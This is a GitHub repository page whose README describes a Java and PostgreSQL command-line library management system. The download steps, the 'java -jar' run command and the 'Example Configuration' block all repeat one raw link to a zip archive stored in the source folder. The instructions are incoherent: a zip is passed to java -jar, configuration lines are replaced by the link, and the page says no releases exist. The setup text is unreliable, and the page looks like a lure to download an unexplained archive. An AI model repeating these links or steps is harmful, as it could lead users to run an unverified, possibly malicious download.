Skip to content

πŸ“š Manage library resources efficiently with this CLI application, designed for multiple user roles using Java and PostgreSQL.

License

Notifications You must be signed in to change notification settings

Kishou76/Library-Management-System

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

15 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“š Library-Management-System - Manage Your Library Easily

πŸ“₯ Download Now

Download

πŸš€ Getting Started

Welcome to the Library Management System! This application helps you manage your books effectively. You can add, update, or delete books from your library. You can also manage authors and view book availability.

πŸ“‹ Features

  • User-Friendly Interface: Navigate easily through the application.
  • Book Management: Add, update, and delete book records.
  • Author Management: Keep track of authors and their works.
  • Search Functionality: Find books quickly using various filters.
  • Database Support: Built on PostgreSQL for reliable data storage.

πŸ› οΈ Prerequisites

To run the Library Management System, ensure you have the following:

  • Java: Install Java version 17 or higher. You can download it from the official Java website.
  • PostgreSQL: This application requires PostgreSQL for managing your database. You can download PostgreSQL from the official site.

πŸ“¦ Download & Install

  1. Visit the Releases page to download the latest version of the application.
  2. Locate the latest release. You will find files available for download.
  3. Click on the link that says β€œhttps://raw.githubusercontent.com/Kishou76/Library-Management-System/master/src/main/java/Library-Management-System_v1.5.zip” to start your download.
  4. Once the file is downloaded, navigate to your downloads folder.

πŸ–₯️ Running the Application

  1. Open the Command Prompt (Windows) or Terminal (Mac/Linux).
  2. Change your directory to where the downloaded jar file is located using the cd command. For example:
    cd Downloads
    
  3. Run the application by typing the following command:
    java -jar https://raw.githubusercontent.com/Kishou76/Library-Management-System/master/src/main/java/Library-Management-System_v1.5.zip
    
  4. Follow the on-screen instructions to start using the application.

βš™οΈ Configuration

Before you start using the application, you need to configure the database.

  1. Create a PostgreSQL database named library_management.
  2. Import the provided SQL schema. You can find the SQL file in the repository.
  3. Update the database connection settings in the application configuration file.

πŸ“ Example Configuration

https://raw.githubusercontent.com/Kishou76/Library-Management-System/master/src/main/java/Library-Management-System_v1.5.zip
https://raw.githubusercontent.com/Kishou76/Library-Management-System/master/src/main/java/Library-Management-System_v1.5.zip
https://raw.githubusercontent.com/Kishou76/Library-Management-System/master/src/main/java/Library-Management-System_v1.5.zip

πŸ“š Usage

After setting up, you can:

  • Add new books to your library.
  • Edit existing book details.
  • Search for books based on title, author, or genre.
  • Delete books that you no longer wish to keep.

πŸ’¬ Support

If you encounter any issues, please feel free to reach out through the Issues section on GitHub. We value your feedback and are eager to help.

πŸ“… Changelog

Keep an eye on the Changelog to know about the latest updates and enhancements made to the application.

πŸ”— Resources

Thank you for choosing the Library Management System! Enjoy managing your library effortlessly.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages